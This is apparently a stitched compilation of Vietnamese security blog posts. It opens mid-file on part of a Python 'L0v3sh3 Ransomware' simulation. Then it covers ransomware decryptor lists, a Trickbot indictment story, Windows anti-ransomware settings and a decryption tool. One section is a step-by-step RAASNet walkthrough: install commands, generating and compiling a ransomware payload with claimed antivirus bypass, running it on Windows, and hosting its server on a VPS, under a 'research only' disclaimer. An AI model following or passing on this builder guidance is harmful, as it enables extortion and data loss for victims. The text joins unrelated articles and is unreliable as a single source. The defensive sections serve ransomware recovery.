    # thay đổi văn bản trong label
    # count = '01:30:00'
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
        # Gọi hàm countdown lại sau 1000ms (1s)
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) 

root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()

# Gọi hàm countdown lần đầu tiên    
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()

Câu hỏi thường gặp

Tôi có thể sử dụng mã này để mã hóa dữ liệu trên máy tính của người khác không?

Không, bạn không nên sử dụng mã này để mã hóa dữ liệu trên máy tính của người khác. Việc đó là bất hợp pháp và có thể dẫn đến hậu quả nghiêm trọng.

Mã này sử dụng thuật toán mã hóa nào?

Mã này sử dụng thuật toán mã hóa bất đối xứng RSA để mã hóa khóa phiên và thuật toán mã hóa đối xứng AES trong chế độ EAX để mã hóa dữ liệu.

Tôi cần cài đặt thư viện nào để chạy mã này?

Bạn cần cài đặt thư viện pycryptodome bằng lệnh pip install pycryptodome.

Tuy nhiên có một số Hacker hoàn lương hoặc đã kiếm đủ số tiền mong muốn hoặc một số nhóm Hacker bị đánh sập và Key giải mã được chia sẻ công khai để nạn nhân có thể khôi phục lại dữ liệu của mình. Dưới đây là tổng hợp danh sách các Tool giải mã Ransomware được cập nhật mới nhất vào tháng 4/2022.

Nếu máy tính bạn bị ransomware tấn công, hãy thử những công cụ dưới đây nhé. Mỗi loại Ransomware sẽ có công cụ giải mã khác nhau, chú ý tên đuôi file mã hóa để tải Tool giải mã cho đúng

Một số lưu ý khi bị ransomare tấn công

Bước 1:  Không trả tiền chuộc vì không có gì đảm bảo Hacker sẽ cấp cho bạn quyền truy cập vào dữ liệu của bạn.

Bước 2: Tìm bất kỳ bản sao lưu (backup) còn lại nào bạn có và nhớ lưu bản sao lưu dữ liệu ở các vị trí an toàn như USB, Cloud

Bước 3: Nếu không có bản sao lưu nào, bạn phải thử giải mã dữ liệu bị khóa bởi ransomware bằng các Tool giải mã ransomware này.

Tổng hợp Tool giải mã Ransomware

1. .777 ransomware decrypting tool
2. 7even-HONE$T decrypting tool
3. .8lock8 ransomware decrypting tool+ explanations
4. 7ev3n decrypting tool
5. AES_NI Rakhni decryptor tool
6. Agent.iih decrypting tool (decrypted by the Rakhni Decryptor)
7. Alcatraz ransom decryptor tool
8. Alma ransomware decryption tool
9. Al-Namrood decrypting tool
10. Alpha decrypting tool
11. AlphaLocker decrypting tool
12. Amnesia ransom decryptor tool
13. Amnesia ransom 2 decryptor tool
14. Anabelle ransom decryptor tool
15. Apocalypse decrypting tool
16. ApocalypseVM decrypting tool+ alternative
17. AtomSilo ransom decryptor tool
18. Aura decrypting tool (decrypted by the Rakhni Decryptor)
19. Aurora ransom decryptor tool + alternative
20. AutoIt ransom decrypting tool (decrypted by the Rannoh Decryptor) + alternative 1 (decrypted by Rakhni Decryptor)
21. Autolocky decrypting tool
22. Avaddon ransom decryption tool
23. Avest ransom decryption tool
24. Babuk ransomware decryptor
25. Badblock decrypting tool+ alternative 1
26. BarRax Ransom decryption tool
27. Bart decrypting tool
28. BigBobRoss decrypting tool 
29. BitCryptor decrypting tool
30. Bitman ransomware versions 2 & 3 (decrypted by the Rakhni Decryptor)
31. BitStak decrypting tool
32. BTCWare ransom decryptor
33. Cerber V1 ransomware decryption tool + alternative
34. Chimera decrypting tool+ alternative 1+ alternative 2
35. CheckMail7 ransomware decryption tool
36. ChernoLocker ransom decryption tool
37. CoinVault ransom decrypting tool
38. Cry128 decrypting tool
39. Cry9 Ransom decrypting tool
40. Cryakl decrypting tool (decrypted by the Rannoh Decryptor)
41. Crybola decrypting tool (decrypted by the Rannoh Decryptor)
42. CrypBoss ransomware decrypting tool
43. CryCryptor ransomware decrypting tool
44. Crypren ransomware decrypting tool
45. Crypt32 ransom decryptor
46. Crypt38 ransomware decrypting tool
47. Crypt888 (see also Mircop) decrypting tool
48. CryptInfinite decrypting tool
49. CryptoDefense decrypting tool
50. CryptFile2 decrypting tool (decrypted by the CryptoMix Decryptor)
51. CryptoHost (a.k.a. Manamecrypt) decrypting tool
52. Cryptokluchen decrypting tool (decrypted by the Rakhni Decryptor)
53. Cryptolocker ransomware decryption tool
54. CryptoMix Ransom decrypting tool + offline alternative
55. CryptON decryption tool
56. CryptoTorLocker decrypting tool
57. CryptXXX Ransom decryptor (V1, V2, V3) (decrypted by Rannoh Decryptor) + alternative (V1, V2, V3, V4, V5)
58. CrySIS ransomware decryption tool (decrypted by the Rakhni Decryptor – additional details)
59. CTB-LockerWeb decrypting tool
60. CuteRansomware decrypting tool(decrypted by the my-Little-Ransomware Decryptor)
61. Cyborg ransomware decryption tool
62. Damage ransom decrypting tool
63. Darkside ransomware decryption tool
64. DemoTool decrypting tool
65. DeCrypt Protect decrypting tool
66. Democry decrypting tool (decrypted by the Rakhni Decryptor)
67. Derialock ransom decryptor tool
68. Dharma ransomware decrypt tool (decrypted by Rakhni Decryptor) (.wallet extension ransomware decrypt tool)
69. Diavol ransomware decryption tool + guide 
70. DMA Locker decrypting tool+ DMA2 Locker decoding tool
71. DragonCyber ransomware decryption tool
72. DXXD ransomware decryption tool
73. Egregor ransomware decryption tool
74. Encryptile decrypting tool
75. ElvisPresley ransomware decryption tool (decrypted by the Jigsaw Decryptor)
76. Everbe Ransomware decrypting tool
77. Fabiansomware decrypting tool
78. FenixLocker – decrypting tool
79. FilesLocker (V1 and V2) decrypting tool
80. FindZip decrypting tool
81. FortuneCrypt decrypting tool (decrypted by the Rakhni Decryptor)
82. Fonix ransomware decryption tool
83. Fury decrypting tool (decrypted by the Rannoh Decryptor)
84. GalactiCryper ransom decryptor
85. GandCrab ransomware decryption tool (V1, V4, V5) + gandcrab 5.2 ransomware decryption tool
86. Gerosan ransomware decrypt tool
87. GetCrypt decryption tool
88. GhostCrypt decrypting tool
89. Globe / Purge decrypting tool+ alternative
90. Globe2 decryption tool
91. Globe3 decryption tool
92. GlobeImpostor decryption tool
93. Gomasom decrypting tool
94. GoGoogle decryption tool
95. Hacked decrypting tool
96. Hakbit decryptor
97. Harasom decrypting tool
98. HydraCrypt decrypting tool
99. HiddenTear decrypting tool
100. HildraCrypt decryptor
101. HKCrypt ransom decryptor
102. Iams00rry decryptor
103. InsaneCrypt ransomware decryptor
104. Iwanttits ransomware decryptor
105. Jaff decrypter tool
106. JavaLocker decryptor
107. Jigsaw decrypting tool+ alternative 1 + alternative 2 + alternative 3
108. JS WORM 2.0 decryptor
109. JS WORM 4.0 decryptor
110. Judge ransomware decryptor
111. KeRanger decrypting tool
112. KeyBTC decrypting tool
113. KimcilWare decrypting tool
114. KokoKrypt decryptor
115. Lamer decrypting tool (decrypted by the Rakhni Decryptor)
116. LambdaLocker decryption tool
117. LeChiffre decrypting tool+ alternative
118. Legion decrypting tool
119. Linux.Encoder decrypting tool
120. Linux.Encoder.3 ransom decryption tool
121. Lobzik decrypting tool(decrypted by the Rakhni Decryptor)
122. LockFile ransomware decryptor tool
123. Lock Screen ransomware decrypting tool
124. Locker decrypting tool
125. Loocipher decryptor
126. Lorenz ransomware decryptor
127. Lortok decrypting tool (decrypted by the Rakhni Decryptor)
128. MacRansom decrypting tool
129. Magniber decryptor
130. MaMoCrypt ransomware decryption tool
131. Mapo ransomware decryptor
132. Marlboro ransom decryption tool
133. MarsJoke decryption tool
134. Manamecrypt decrypting tool (a.k.a. CryptoHost)
135. Maze ransomware decryption tool
136. MegaLocker ransomware decrypting tool
137. Merry Christmas / MRCR decryptor + alternative
138. Mira ransom decryptor 
139. Mircop decrypting tool+ alternative
140. Mole decryptor tool
141. MoneroPay ransomware decrypting tool
142. muhstik ransomware decryptor
143. my-Little-Ransomware decrypting tool 
144. Nanolocker decrypting tool
145. Nemty ransomware decryptor
146. Nemucod decrypting tool + alternative
147. NemucodAES ransom decryption tool
148. NMoreira ransomware decryption tool
149. Noobcrypt decryption tool
150. ODCODC decrypting tool
151. OpenToYou decryption tools
152. Operation Global III Ransomware decrypting tool
153. Ouroboros ransomware decryptor
154. Ozozalocker ransomware decryptor
155. Paradise ransomware decryptor
156. PClock decrypting tool
157. Petya ransomware decryption tool+ alternative
158. PewCrypt ransom decryptor
159. Philadelphia decrypting tool
160. PizzaCrypts decrypting tool
161. Planetary ransomware decrypting tool
162. Pletor decrypting tool (decrypted by the Rakhni Decryptor)
163. Polyglot decrypting tool (decrypted by the Rannoh Decryptor)
164. Pompous decrypting tool
165. PowerWare / PoshCoder decrypting tool
166. Popcorn ransom decrypting tool
167. Professeur ransomware decryptor (decrypted by the Jigsaw Decryptor)
168. Puma ransomware decryption tool
169. PyLocky ransomware decrypting tool + alternative
170. Radamant decrypting tool
171. RAGNAROK decrypting tool
172. Rakhni decrypting tool
173. Rannoh decrypting tool
174. Ransomwared decryptor 
175. Rector decrypting tool
176. RedRum ransomware decryptor 
177. REvil/Sodinokibi ransomware decrypt tool
178. Rotor decrypting tool (decrypted by the Rakhni Decryptor)
179. Scraper decrypting tool
180. Sekhmet ransomware decryption tool
181. SimpleLocker ransomware decryptor
182. Simplocker ransomware decryptor
183. Shade / Troldesh ransomware decryption tool + alternative + alternative 2
184. SNSLocker decrypting tool
185. SpartCrypt decryptor
186. Stampadodecrypting tool + alternative
187. STOP Djvu ransomware decrypt tool
188. SynAck ransom decryptor
189. Syrk ransomware decryptor 
190. SZFlocker decrypting tool
191. Teamxrat / Xpan decryption tool
192. TeleCrypt decrypting tool (additional details)
193. TeslaCrypt decrypting tool+ alternative 1 + alternative 2
194. TeslaCrypt V2 ransom decryption tool + alternative
195. TeslaCrypt V3 ransom decryption tool + alternative 1 + alternative 2 + alternative 3
196. TeslaCrypt V4 ransom decryption tool + alternative 1 + alternative 2 + alternative 3
197. Thanatos decryption tool
198. ThunderX decryptor
199. Trustezeb.A decryptor
200. TurkStatic decryptor
201. TorrentLocker decrypting tool
202. Umbrecrypt decrypting tool
203. VCRYPTOR decryptor
204. WannaCry ransomware decryption tool+ Guide
205. WannaCryFake Ransom decryption tool
206. WannaRen decryption tool
207. Wildfire decrypting tool + alternative 1 + alternative 2
208. XData Ransom decryption tool (decrypted by Rakhni Decryptor)
209. XORBAT decrypting tool
210. XORIST decrypting tool+ alternative
211. Yatron decrypting tool (decrypted by the Rakhni Decryptor)
212. ZeroFucks decryptor
213. Zeta decrypting tool (decrypted by the CryptoMix Decryptor)
214. Ziggy ransomware decryptor
215. Zorab ransomware decryptor
216. ZQ ransomware decryptor

Câu hỏi thường gặp

Tôi có thể làm gì nếu máy tính của tôi bị nhiễm ransomware?

Đừng trả tiền chuộc! Hãy thử tìm bản sao lưu dữ liệu. Nếu không có bản sao lưu, hãy sử dụng các công cụ giải mã ransomware được liệt kê trong bài viết này. Chọn công cụ phù hợp với loại ransomware đã tấn công hệ thống của bạn (xác định qua phần mở rộng tệp bị mã hóa).

Làm thế nào để tôi tìm ra loại ransomware nào đã tấn công máy tính của tôi?

Quan sát phần mở rộng tệp bị mã hóa. Phần mở rộng tệp thường cho biết loại ransomware đang hoạt động. Bài viết này liệt kê nhiều loại ransomware khác nhau và các công cụ giải mã tương ứng.

Có đảm bảo rằng các công cụ giải mã này sẽ hoạt động không?

Không có gì đảm bảo tuyệt đối. Hiệu quả của các công cụ phụ thuộc vào phiên bản ransomware và phương thức mã hóa cụ thể. Tuy nhiên, các công cụ này được phát triển bởi các chuyên gia bảo mật và có tỷ lệ thành công nhất định.

Người phụ nữ 55 tuổi là bà trùm Hacker nhóm Trickbot

Alla Witte, hay còn gọi là Max, 55 tuổi, bị buộc 19 tội danh trong bản cáo trạng 47 tội danh, cáo buộc cô tham gia vào một tổ chức tội phạm được gọi là “Nhóm Trickbot”. Nhóm Trickbot hoạt động ở Nga, Belarus, Ukraine và Suriname, và chủ yếu nhắm mục tiêu vào các máy tính nạn nhân thuộc các doanh nghiệp, tổ chức và cá nhân, gồm cả những máy tính ở bang Ohio và các nơi khác ở Hoa Kỳ. Các mục tiêu bao gồm bệnh viện, trường học, tiện ích công cộng và chính phủ. Witte, người trước đây cư trú tại Paramaribo, Suriname, đã bị bắt vào ngày 6 tháng 2, tại Miami, Florida.

“Witte và các cộng sự của cô ấy bị cáo buộc đã lây nhiễm cho hàng chục triệu máy tính trên toàn thế giới nhằm đánh cắp hàng triệu đô la thông qua các hệ thống máy tính bị xâm nhập”

Bản cáo trạng cáo buộc rằng bắt đầu từ tháng 11 năm 2015, Witte và những người khác đã đánh cắp tiền và thông tin bí mật từ những nạn nhân, gồm các doanh nghiệp và tổ chức tài chính của họ ở Hoa Kỳ, Vương quốc Anh, Úc, Bỉ, Canada, Đức, Ấn Độ, Ý, Mexico, Tây Ban Nha. và Nga thông qua việc sử dụng phần mềm độc hại Trickbot.

Witte và đồng phạm của cô bị cáo buộc đã làm việc cùng nhau để lây nhiễm phần mềm độc hại Trickbot vào máy tính nạn nhân được thiết kế để lấy thông tin đăng nhập ngân hàng trực tuyến và thu thập thông tin cá nhân khác, bao gồm số thẻ tín dụng, email, mật khẩu, ngày sinh, số an sinh xã hội và địa chỉ. Witte và những người khác cũng bị cáo buộc đã chiếm được thông tin đăng nhập và thông tin cá nhân bị đánh cắp khác để truy cập vào tài khoản ngân hàng trực tuyến, thực hiện chuyển tiền điện tử trái phép và rửa tiền thông qua các tài khoản thụ hưởng ở Hoa Kỳ và nước ngoài.

Theo cáo trạng, Witte làm việc với tư cách là lập trình viên tạo nên phần mềm độc hại cho Trickbot Group và viết mã liên quan đến việc kiểm soát, triển khai và nhận tiền chuộc do ransomware mã hóa. Phần mềm tống tiền đã thông báo cho nạn nhân rằng máy tính của họ đã được mã hóa và họ cần mua phần mềm đặc biệt thông qua địa chỉ Bitcoin do Nhóm Trickbot kiểm soát để giải mã các tệp của họ. Ngoài ra, Witte bị cáo buộc đã cung cấp mã cho Nhóm Trickbot theo dõi và theo dõi những người dùng được ủy quyền của phần mềm độc hại, đồng thời phát triển các công cụ và giao thức để lưu trữ thông tin đăng nhập bị đánh cắp.

Trickbot là tên của một nhóm tội phạm mạng sở hữu mạng botnet cực lớn gồm các thiết bị kết nối internet bị tấn công được sử dụng để thực hiện các cuộc tấn công mạng. Theo công ty nghiên cứu mạng Malwarebytes Inc. , nhóm tội phạm mạng quản lý mạng botnet và bán phần mềm độc hại cho các Hacker khác.

Sau khi bị lây nhiễm, máy tính nạn nhân trở thành một phần của mạng botnet, một mạng lưới gồm hàng nghìn máy tính và máy chủ trên khắp thế giới dính phần mềm độc hại Trickbot. Phần mềm độc hại này được sử dụng như một điểm xâm nhập cho các tin tặc “săn tìm dữ liệu” để hoạt động gián điệp hoặc tìm cách để phát tán ransomware.

Kể từ khi Trickbot  được phát hiện lần đầu tiên vào năm 2016, chủ nhân của Trickbot đã đánh cắp hàng chục đến hàng trăm triệu đô la từ các nạn nhân ở Mỹ, bao gồm các ngân hàng, trường đại học và chính quyền địa phương, theo các chuyên gia an ninh mạng và tài liệu của tòa án. Vào tháng 10, khi các ca nhiễm coronavirus gia tăng ở Mỹ, các nhà chức trách đã cảnh báo về “mối đe dọa tội phạm mạng gia tăng và sắp xảy ra đối với các bệnh viện và nhà cung cấp dịch vụ chăm sóc sức khỏe của Hoa Kỳ” từ Trickbot và các nhóm hack khác.

Trong tuần đầu tiên làm việc cho nhóm Trickbot vào năm 2018, Witte đã viết một đoạn mã để theo dõi từng người trong số hàng trăm người dùng bị nhiễm mã độc của Trickbot. Trong vòng vài tháng, cô ấy đã xuất bản một video hướng dẫn cho các đối tác Trickbot của mình cách sử dụng phần mềm theo dõi. Vào thời điểm cô ấy đã làm việc với nhóm được một năm, cô ấy đã viết mã cho bảng điều khiển web mà Trickbot sử dụng để lưu trữ cơ sở dữ liệu lưu trữ các thông tin của nạn nhân, bao gồm cả hệ thống mã hóa màu để đồng bọn có thể theo dõi tiến trình của của các máy bị hack.

Witte sẽ tiếp tục viết mã kiểm soát việc triển khai ransomware, bao gồm cả ghi chú mà nạn nhân nhận được thông báo rằng hệ thống máy tính của họ đã được mã hóa.

Witte đã thông tin chi tiết về lý lịch của mình trên các tài khoản mạng xã hội, được phát hiện và dịch bởi Holden. Cô lớn lên dọc theo Biển Đen ở thành phố Rostov-on-Don của Nga, theo các tài khoản mạng xã hội của cô. Sau khi học tại Đại học Latvia , Witte làm quản lý bán hàng và giáo viên vào những năm 1980. Theo các bài báo, mối quan tâm của cô đối với công nghệ nổi lên vào cuối những năm 90 và đầu những năm 2000.

Sau khi kết hôn năm 2007, gia đình cô chuyển từ Hà Lan đến Suriname, Nam Mỹ. Đó là khoảng thời gian này, năm 2013, cô ấy bắt đầu học lập trình Web. Chỉ trong 6 năm học lập trình, cô đã trở thành Hacker khét tiếng và thủ lĩnh nhóm Trickbot vào năm 2018.

Tính năng chống Virus mã hóa Ransomware trên Windows 10 là gì?

Khi bị Virus mã hóa ransomware tấn công vào máy tính, dữ liệu của bạn sẽ bị mã hóa và phải trả tiền chuộc để nhận khóa giải mã. Người dùng sẽ phải trả tiền trong trường hợp dữ liệu quan trọng bị mã hóa. Trong một số trường hợp, không có gì đảm bảo liệu tin tặc có giải mã dữ liệu cho bạn  sau khi nhận được tiền chuộc hay không, họ có thể yêu cầu nhiều hơn.

Các cuộc tấn công ransomware thậm chí đã dẫn đến việc phá hủy dữ liệu khiến không thể khôi phục lại được. Vì vậy cần có biện pháp bảo vệ dữ liệu điện tử của bạn trên máy tính. Microsoft đã cố gắng giải quyết vấn đề này bằng cách ngăn các ứng dụng độc hại thực hiện các thay đổi trái phép đối với một số thư mục quan trọng trên Windows.

Microsoft đã tổng hợp một danh sách các ứng dụng đáng tin cậy, có thể được sử dụng để xác minh xem ứng dụng được cài đặt trên máy của bạn có phải là ransomware hay không. Tính năng này tuy không diệt được ransomware nhưng ít nhất nó cũng bổ sung thêm một lớp bảo mật cho Windows

Làm cách nào để bật tính năng Chống Ransomware trên Windows 10?

Tính năng bảo vệ khỏi Ransomware được Microsoft đặt tên là Ransomware Protection. Để bật tính năng Ransomware Protection trên Windows 10, bạn không cần phải cài đặt bất kỳ ứng dụng bên thứ ba vì nó được tích hợp sẵn trong Windows. Bạn có thể làm điều đó bằng cách sử dụng ứng dụng diệt Virus Windows Security được tích hợp sẵn theo hướng dẫn các bước sau:

1. Nhấn nút Start gõ chữ Windows Security để mở ứng dụng.

2. Nhấp vào tùy chọn Virus & threat protection trong bảng điều khiển bên trái.

3. Bây giờ, bạn sẽ thấy bảo vệ ransomware ở dưới cùng, nhấp vào Manage ransomware protection.

4. Tại đây, bật nút Controlled folder access từ Off thành ON.

Đó là tất cả những gì bạn cần làm. Theo mặc định, tính năng bảo vệ ransomware của Windows 10 chỉ hoạt động đối với một số thư mục hệ thống như Downloads, Pictures, Documents, v.v. Bạn có thể thêm thư mục cần bảo vệ bằng cách có thể nhấp vào Protected Folders để thêm đường dẫn các thư mục sẽ không bị hóa nếu bị ransomware tấn công. Bạn có thể cho phép ứng dụng cụ thể truy cập quyền vào thư mục được bảo vệ bằng cách click vào Allow an app through Controlled folder access, sau đó chọn ứng dụng cần cho phép.

Các máy tính hoặc Server sử dụng Windows Server 2019 có thể sử dụng tính năng bảo vệ chống Ransomware của phần mềm Microsoft Endpoint Configuration Manager và InTune.

Làm thế nào để khôi phục dữ liệu khi bị Ransomware mã hóa?

Một điều quan trọng khác hiện nay để tránh bị virus mã hóa dữ liệu là thường xuyên sao lưu dữ liệu. Trước đây bạn thường lưu ra USB hoặc ổ cứng gắn ngoài, nhưng nay đã có dịch vụ lưu trữ đám mây

OneDrive của Microsoft có thể được sử dụng để sao lưu dữ liệu từ Windows 10, có thể giúp khôi phục các dữ liệu của bạn sau một cuộc tấn công mã hóa. Do đó, bạn nên tiếp tục bật tính năng đồng bộ hóa OneDrive của mình. Hoặc bạn có thể sử dụng các dịch vụ đám mây khác như Google Drive hoặc Dropbox.

Bạn cũng có thể sử dụng tính năng File History trên Windows 10 để sao lưu dữ liệu vào ổ cứng ngoài hoặc SSD. Sao khi sao lưu xong, bạn nhớ ngắt kết nối ổ cứng gắn ngoài ra khỏi máy tính.

Đây là cách để bảo vệ an toàn dữ liệu trước các cuộc tấn công của Ransomware, nếu máy tính của bạn đã lỡ dính virus mã hóa dữ liệu, hãy thử giải mã bằng cách công như Ransomware Decryption Tool.

Câu hỏi thường gặp

Tính năng chống Ransomware trên Windows 10 hoạt động như thế nào?

Tính năng này, gọi là Controlled folder access, bảo vệ các thư mục quan trọng khỏi những thay đổi trái phép từ các ứng dụng không được tin cậy, ngăn chặn ransomware mã hóa dữ liệu của bạn. Nó không diệt virus nhưng thêm một lớp bảo mật.

Tôi có cần cài đặt phần mềm bên thứ ba để bật tính năng này không?

Không cần! Tính năng chống Ransomware đã được tích hợp sẵn trong Windows Security (Windows Defender) của Windows 10. Bạn chỉ cần bật nó lên thông qua các bước hướng dẫn trong bài viết.

Nếu bị Ransomware tấn công, làm sao để khôi phục dữ liệu?

Cách tốt nhất là sao lưu dữ liệu thường xuyên lên đám mây (OneDrive, Google Drive, Dropbox…) hoặc ổ cứng ngoài bằng tính năng File History. Nếu đã bị tấn công, hãy thử sử dụng các công cụ giải mã ransomware, nhưng việc khôi phục từ bản sao lưu là phương pháp hiệu quả nhất.

RAASNet và bài viết này chỉ dành cho nghiên cứu. Không được sử dụng trong thế giới ngoài đời thật. Tôi không chịu trách nhiệm về bất kỳ thiệt hại nào bạn có thể gây ra với kiến ​​thức của bài viết này.

Để an toàn cho dữ liệu, bạn nên thực nghiệm bài này trên VMWare (Kali linux, Windows).

RAASNet có tác dụng gì?

RAASNet là một công cụ bằng python giúp bạn tạo ra Ransomeware theo ý muốn, bạn có thể chọn các mã hóa file, nội dung thông báo đến nạn nhân và key giải mã. Đặc điểm:

• Tạo ransomware
• Tùy chỉnh giao diện cho ransomeware
• FUD (bypass antivirus)
• Hoạt động trên Windows, MacOS và Linux
• Mã hóa siêu nhanh với PyCrypto
• Có thể biên dịch sang EXE, APP hoặc Unix/Linux
• Tùy chỉnh icon cho exe
• Tạo key mã hóa/giải mã
• Chế độ demo (ransomeware sẽ không mã hóa bất kỳ thứ gì)
• Chế độ toàn màn hình (Cảnh báo chiếm toàn màn hình)
• Thông báo cảnh báo tùy chỉnh cho nạn nhân của bạn
• Chế độ ma (Ghostmod) (Đổi tên bằng cách thêm phần mở rộng .DEMON thay vì mã hóa các tệp)
• Nhiều phương pháp mã hóa
• Tùy chọn nhiều loại file để mã hóa
• Quyết định xem ransomeware có nên tự hủy (chỉ tính năng ở chế độ Bảng điều khiển)
• Quyết định ổ đĩa nào để nhắm mục tiêu để mã hóa (thư mục làm việc)
• Quyền truy cập máy chủ đã xác minh thông qua VPN chuyển tiếp cổng

Cách sử dụng RAASNet tạo Ransomeware

Tạo Server Linux

Trên Kali linux, tiến hành tải bộ Source RAASNET về bằng cách thực hiện các lệnh dưới đây

git clone https://github.com/leonv024/RAASNet.git
cd RAASNet
pip3 install -r requirements.txt
python3 RAASNet.py

Hoặc tải link dự phòng tại: Download RAASNET  (Password: anonyviet.com)

Sau khi hoàn tất các bước, bạn sẽ thấy giao diện đăng nhập của RAASNET, click vào Register để tạo tài khoản quản lý và tiến hành đăng nhập nhé.

Bây giờ bạn sẽ thấy giao diện RAASNET Generator, với 4 chức năng gồm:

• START SERVER:
• DECRYPT FILES: tạo file giải mã file cho nạn nhân
• GENERATE PAYLOADS: tạo Ransomware
• COMPILE PAYLOAD: biên dịch Ransomware sang exe.
• PROFILE: thông tin tài khoản
• EXIT: thoát

Bây giờ chúng ta vào START SERVER: nhập IP của máy chủ quản lý, trong trường hợp này là máy Kali linux của mình (mở terminal gõ lệnh ifconfig để xem IP),

Sau đó chọn tiếp GENERATE PAYLOADS, để thiếp lâp các hoạt động cho Ransomeware của bạn.

• Mode: chế độ hiển thị của virus
• Remote Server: IP của Server (trong bài này là IP của Kali linux)
• Encryption Type: chế độ mã hóa file, trong đó chế độ Ghost là an toàn nhất, chỉ đổi đuôi file chứ không mã hóa dữ liệu. Bạn khuyên các bạn nên dùng chế độ này để test.
• Content: chỉnh sửa thêm thông báo, hình ảnh hiển thị khi nạn nhân kích hoạt virus.

Sau khi thiết lập xong, bạn nhấn Generate để bắt đầu tạo Ransomware cho riêng bạn.

Bây giờ trong thư mục RAASNet sẽ có 2 file là:

• payload.py: đây chính là con Ransomware bạn mới tạo ra
• decryptor.py: đây là tool để giải mã dữ liệu khi virus đã mã hóa

Nếu bạn muốn chuyển file .py sang .exe (bạn phải chạy RAASNet trên Windows) sau đó vào Menu COMPILE PAYLOAD, biên dịch xong, file sẽ nằm trong thư mục RAASNet/dish

Thực nghiệm trên Windows

Bài viết này chỉ thực nghiệm, nên mình không biên dịch file payload.py sang exe mà chạy bằng python luôn cho đỡ tốn thời gian.

Trên Windows, cài Python 3.x.

Mở notepad tạo file requirements.txt với nội dung:

numpy==1.19.3
pymsgbox
pyaes
pycryptodome
pyinstaller
requests
python-geoip-python3
python-geoip-geolite2
pillow

Mở CMD gõ lệnh

pip install -r requirements.txt

Trong thực tế khi biên dịch py sang exe thì các thư viện này đã có sẵn, chúng ta sẽ không phải thực hiện các bước trên.

Bây giờ hãy thử copy con ransomware vừa tạo vào máy ảo Windows. dùng lệnh: python payload.py để kích hoạt, bùm, dữ liệu của bạn sẽ bị mã hóa sang đuôi DEMON.

Nếu muốn giải mã, bạn copy file decryptor.py vào máy ảo Windows và gõ lệnh, python decryptor.py, dữ liệu sẽ được khôi phục lại như cũ

Lưu ý

Bài viết này chứng minh ransomware hiện nay khá nguy hiểm và không bị antivirus phát hiện. Ransomware được tạo ra hoạt động trên Windows, Linux và MacOS. Bạn nên biên dịch payload.py thành EXE để dễ demo trên WIndows.

Nếu muốn thử nghiệm Server môi trường Internet, bạn nên dùng VPN hoặc NAT Port . Hoặc tốt hơn nên thuê 1 VPS ở Azure hoặc AWS để thử nghiệm.

Cuối cùng xin nhắc lại, bài này để nghiên cứu học tập, không được áp dụng môi trường bên ngoài và với người khác. Nếu không bạn sẽ chịu trách nhiệm trước pháp luật.

Câu hỏi thường gặp

RAASNet có an toàn khi sử dụng cho mục đích nghiên cứu không?

RAASNet chỉ nên được sử dụng trong môi trường được kiểm soát, ví dụ như máy ảo (VMware) với hệ điều hành Kali Linux hoặc Windows. Tác giả không chịu trách nhiệm cho bất kỳ thiệt hại nào gây ra từ việc sử dụng công cụ này.

Tôi có thể biên dịch payload.py thành file .exe được không?

Có, bạn có thể biên dịch payload.py thành file .exe bằng chức năng “COMPILE PAYLOAD” trong RAASNet. Tuy nhiên, điều này cần được thực hiện trên hệ điều hành Windows.

Làm thế nào để giải mã dữ liệu sau khi sử dụng RAASNet?

RAASNet cung cấp file decryptor.py để giải mã dữ liệu. Bạn cần chạy file này trong cùng môi trường mà bạn đã chạy payload.py.

Các tính năng của 360 Ransomware Decryption Tool

Khôi phục dữ liệu bị mã hóa mà không phải trả tiền chuộc

Ứng dụng đặc biệt này hứa hẹn sẽ giải mã an toàn các file đã bị hacker chiếm giữ. Cho phép người dùng khôi phục dữ liệu mà không phải trả một nào.

360 Ransomware Decryption Tool có thể giải mã các biến thể ransomware khác. Phần mềm có giao diện đơn giản và các điều khiển trực quan, cho phép người dùng duyệt đến thư mục lưu trữ các file được mã hóa. Vị trí lưu các file được giải mã có thể tùy chỉnh, nhưng đó là cài đặt duy nhất khả dụng. Tiếp theo, người ta phải nhấn nút Quét Quét ngay bây giờ để bắt đầu quá trình giải mã.

Chọn một thư mục cần giải mã và để ứng dụng làm phần còn lại

Khi ứng dụng thực hiện công việc của mình, người dùng có thể thấy file hiện đang được quét, số lượng file được mã hóa và giải mã và thời gian đã trôi qua. Điều người dùng phải ghi nhớ là mặc dù 360 Ransomware Decryption Tool hoạt động tốt nhất trong việc giải mã các file bị mã hóa, hoạt động có thể không thành công mọi lúc.

Công cụ này rất dễ sử dụng. Công cụ này có giao diện đơn giản để giải mã các file bị khóa bởi ransomware. Mặc dù nó có thể nó không thể giải mã tất cả các ransomware , nhưng bạn cũng nên thử trước khi cài đặt lại hệ điều hành và mất tất cả dữ liệu hoặc trả tiền chuộc theo yêu cầu của Hacker.

Download 360 Ransomware Decryption Tool Lasted Version

360 Ransomware Decryption Tool 1.0.0.1271 có thể được xem là vị cứu tinh của file bị mã hóa. Nếu bạn nhỡ dính Ransomware, thì hãy dùng tool này để giải mã thử. Biết đâu bạn sẽ may mắn lấy lại được dữ liệu mà không phải trả tiền chuộc.

Download

• Tác giả: Qihu 360 Software Co
• Ngày Update: 31/12/2019
• Kích thước: 5.04 MB
• License: Miễn phí
• Yêu cầu: Win 10/8 / 7 / Vista

Câu hỏi thường gặp

Công cụ 360 Ransomware Decryption Tool có hỗ trợ giải mã tất cả các loại ransomware không?

Không, công cụ này hỗ trợ giải mã hơn 80 loại ransomware, bao gồm WannaCry và Petya, nhưng không phải tất cả. Tuy nhiên, vẫn nên thử sử dụng công cụ này trước khi xem xét các giải pháp khác.

Tôi có cần trả phí để sử dụng 360 Ransomware Decryption Tool không?

Không, công cụ này hoàn toàn miễn phí.

Nếu công cụ không thể giải mã được file của tôi thì sao?

